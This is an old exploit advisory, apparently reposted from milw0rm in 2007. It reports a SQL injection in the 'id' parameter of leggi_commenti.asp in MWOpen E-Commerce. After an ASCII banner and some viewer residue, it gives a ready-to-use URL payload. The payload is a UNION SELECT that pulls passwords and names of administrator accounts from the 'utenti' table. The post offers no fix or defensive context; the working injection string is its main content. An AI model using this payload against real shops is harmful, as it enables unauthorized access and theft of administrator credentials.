41 lines
No EOL
1.1 KiB
Text
41 lines
No EOL
1.1 KiB
Text
---------------------------------------------------------------
|
|
____ __________ __ ____ __
|
|
/_ | ____ |__\_____ \ _____/ |_ /_ |/ |_
|
|
| |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\
|
|
| | | \ | |/ \ \___| | /_____/ | || |
|
|
|___|___| /\__| /______ /\___ >__| |___||__|
|
|
\/\______| \/ \/
|
|
---------------------------------------------------------------
|
|
|
|
Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org
|
|
|
|
---------------------------------------------------------------
|
|
|
|
MWOpen E-Commerce All Versions "leggi_commenti.asp" SQL Injection
|
|
|
|
---------------------------------------------------------------
|
|
|
|
#By KiNgOfThEwOrLd
|
|
|
|
---------------------------------------------------------------
|
|
|
|
PoC:
|
|
|
|
Nothing to say..
|
|
|
|
Corrupted Page:
|
|
|
|
leggi_commenti.asp
|
|
|
|
Corrupted Variabile:
|
|
|
|
?id=
|
|
|
|
Exploit:
|
|
|
|
http://[target]/[mwopen_path]/leggi_commenti.asp?id=9999+union+select+null,
|
|
null,password,nome,null,data,null+from+utenti+where+Admin=true
|
|
|
|
---------------------------------------------------------------
|
|
|
|
# milw0rm.com [2007-12-06] |